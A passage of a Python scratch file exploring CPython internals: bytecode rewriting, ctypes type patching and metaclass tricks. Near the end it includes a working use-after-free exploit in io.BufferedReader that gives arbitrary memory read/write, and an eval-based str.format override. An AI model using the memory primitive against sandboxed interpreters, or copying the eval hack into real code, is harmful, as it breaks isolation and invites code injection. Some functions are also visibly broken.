(op:=dis.opname[ 217 | (bc:=(code:=frame.f_code).co_code)[(idx:=frame.f_lasti + 2)] 218 | ]): 219 | try: 220 | frame = sys._getframe(level) 221 | except ValueError: 222 | self.__inst_name__ = None 223 | return 224 | level += 1 225 | if op in ['STORE_GLOBAL', 'STORE_NAME']: 226 | self.__inst_name__ = code.co_names[bc[idx + 1]] 227 | elif op == 'STORE_FAST': 228 | self.__inst_name__ = code.co_varnames[bc[idx + 1]] 229 | else: 230 | self.__inst_name__ = None 231 | 232 | def __repr__(self): 233 | if self.__inst_name__: 234 | return f'{self.__inst_name__} = {super().__repr__()}' 235 | else: 236 | return super().__repr__() 237 | 238 | 239 | class a(name_aware):pass 240 | 241 | class b(name_aware): 242 | def __init__(self, arg): 243 | ... 244 | super().__init__() 245 | 246 | load_addr = type(m:=lambda n,s:lambda v:s(v)or n)( 247 | (M:=m.__code__).replace( 248 | co_code=b'\x88'+M.co_code[1:] 249 | ),{} 250 | )(r:=iter(range(2**63-1)),r.__setstate__) 251 | 252 | from ctypes import pythonapi, py_object 253 | import sys 254 | PyType_Modified = pythonapi.PyType_Modified 255 | PyType_Modified.argtypes = [py_object] 256 | 257 | load_off3 = type(m:=lambda n:(lambda:n)())( 258 | (M:=m.__code__).replace( 259 | co_code=b'\x88'+M.co_code[1:] 260 | ),{} 261 | ) 262 | 263 | old_format = str.format 264 | def new_format(self, *args, **kwargs): 265 | if args: 266 | return old_format(self, *args, **kwargs) 267 | f = sys._getframe(1) 268 | return eval('f' + repr(self), f.f_globals, {**f.f_locals, **kwargs}) 269 | 270 | load_off3(str.__dict__)['format'] = new_format 271 | PyType_Modified(str) 272 | 273 | def get_idx(col, val): 274 | try: 275 | return col.index(val) 276 | except ValueError: 277 | return None 278 | 279 | def replace_consts(*vals): 280 | def wrapper(func): 281 | consts = [*func.__code__.co_consts] 282 | for oval, nval in vals: 283 | if oval in func.__code__.co_consts: 284 | consts[func.__code__.co_consts.index(oval)] = nval 285 | func.__code__ = func.__code__.replace( 286 | co_consts=tuple(consts) 287 | ) 288 | return func 289 | return wrapper 290 | 291 | @replace_consts((None, 1)) 292 | def test(): 293 | print('yeet') 294 | 295 | print(test()) 296 | 297 | def inject_constant(code, name, val): 298 | byc = code.co_code 299 | new_inst = bytes([100, len(code.co_consts)]) 300 | for op, names in [(116, code.co_names), (124, code.co_varnames)]: 301 | if name in names: 302 | idx = names.index(name) 303 | byc = byc.replace(bytes([op, idx]), new_inst) 304 | return code.replace(co_consts=code.co_consts + (val,), co_code=byc) 305 | 306 | def isvalidptr(addr, size=1): 307 | import os 308 | r, w = os.pipe() 309 | try: 310 | return os.write(w, getmem(addr,size)) == size 311 | except OSError: 312 | return False 313 | finally: 314 | os.close(r) 315 | os.close(w) 316 | 317 | def get_cls_dict(cls, E=type('',(),{'__eq__':lambda s,o:o})()): 318 | return cls.__dict__ == E 319 | 320 | import typing 321 | 322 | @lambda c:c() 323 | class __annotations__(dict): 324 | def __setitem__(self, name, value): 325 | if isinstance(value, typing.Callable): 326 | try: 327 | func = globals()[name] 328 | args = list(value.__args__) 329 | annots = func.__annotations__ 330 | annots['return'] = args.pop() 331 | for varname in func.__code__.co_varnames: 332 | if not args: break 333 | annots[varname] = args.pop(0) 334 | except:pass 335 | super().__setitem__(name, value) 336 | 337 | f: typing.Callable[int, str] = lambda x: chr(x) 338 | 339 | current_frame = next(g:=(g.gi_frame.f_back for()in[()])) 340 | 341 | getframe=lambda i=0:[*(g:=(f:=g.gi_frame.f_back for()in[()]))]and[f:=f.f_back for()in[()]*(i+1)][i] 342 | 343 | 344 | s=lambda x,r=range:x.translate([*r(65),*r(97,123),*r(91,97),*r(65,91)]) 345 | 346 | def s(): 347 | v=None 348 | while 1: 349 | v = (yield v).translate([*(r:=range)(65),*r(97,123),*r(91,97),*r(65,91)]) 350 | 351 | (s:=s().send)(None) 352 | 353 | class frame: 354 | def __init__(self, f_back): 355 | self.f_back = f_back 356 | 357 | def new_frame(): 358 | f = None 359 | while 1: 360 | f = frame(f) 361 | yield f 362 | 363 | new_frame = new_frame().__next__ 364 | 365 | 366 | from dis import dis 367 | dis("a = b = c = d = 10") 368 | print() 369 | dis("d = (c := (b := (a := 10)))") 370 | 371 | # Use After Free in io.BufferedReader 372 | io = open.__self__ 373 | 374 | class UAF(io._RawIOBase): 375 | def readinto(self, buf): 376 | self.buf = buf.cast('P') 377 | def readable(self): 378 | return True 379 | 380 | u = UAF() 381 | b = io.BufferedReader(u, 56) 382 | b.read(1) # store view of buffer on `u` (calls `readinto`) 383 | # use `__init__` to free internal buffer instead of relying on GC 384 | u.view = b.__init__(u) or bytearray() 385 | # at this point, if successful, `u.buf` is the memory that backs `u.view` 386 | u.buf[2] = (pow(2, tuple.__itemsize__ * 8) // 2) - 1 387 | u.memory = memoryview(u.view) 388 | 389 | def getmem(addr, size, fmt='c'): 390 | return u.memory[addr: addr + size].cast(fmt) 391 | 392 | def load_addr(addr): 393 | T = (None,) 394 | offset = id(T) + tuple.__basicsize__ 395 | container = getmem(id(T) + tuple.__basicsize__, tuple.__itemsize__, 'P') 396 | try: 397 | container[0] = addr 398 | return T[0] 399 | finally: 400 | container[0] = id(None) 401 | 402 | print(load_addr(id(1))) 403 | 404 | import sys, inspect 405 | def get_signature(frame): 406 | argvals = inspect.getargvalues(frame) 407 | args = tuple(argvals.locals.get(name) for name in argvals.args if name in (func.__kwdefaults__) or {}) \ 408 | + argvals.locals.get(argvals.varargs) if argvals.varargs else () 409 | 410 | kwargs = argvals.locals.get(argvals.keywords) if argvals.keywords else {} 411 | for name in argvals.args: 412 | if name in func.__kwdefaults__: 413 | kwargs[name] = argvals.locals.get(name) 414 | return tuple(map(type, args)), tuple((k, type(v)) for k, v in kwargs.items()) 415 | 416 | def dispatch(*args, **kwargs): 417 | def dispatch_inner(func): 418 | func.sig = (args, tuple(kwargs.items())) 419 | return func 420 | return dispatch_inner 421 | 422 | class DispatchDict(dict): 423 | def __init__(self, *args, **kwargs): 424 | super().__init__(*args, **kwargs) 425 | self.dispatch = {} 426 | def __setitem__(self, key, value): 427 | if not hasattr(value, 'sig'): 428 | if key in self.dispatch: 429 | self.dispatch[key]['default'] = value 430 | else: 431 | return super().__setitem__(key, value) 432 | ftbl = self.dispatch.setdefault(key, {}) 433 | ftbl[value.sig] = value 434 | def inner(*a, **k): 435 | args, kwargs = get_signature(sys._getframe()) 436 | try: 437 | func = ftbl[args[1:], kwargs] 438 | except KeyError: 439 | func = ftbl['default'] 440 | return func(*a, **k) 441 | super().__setitem__(key, inner) 442 | 443 | class Dispatchable(type): 444 | def __prepare__(*args): 445 | return DispatchDict() 446 | 447 | class Foo(metaclass=Dispatchable): 448 | @dispatch(int, int) 449 | def method(self, a, b): 450 | print(a - b) 451 | 452 | @dispatch(str, str) 453 | def method(self, a, b): 454 | print(a + b) 455 | 456 | def method(self, a, b): 457 | print('default case') 458 | --------------------------------------------------------------------------------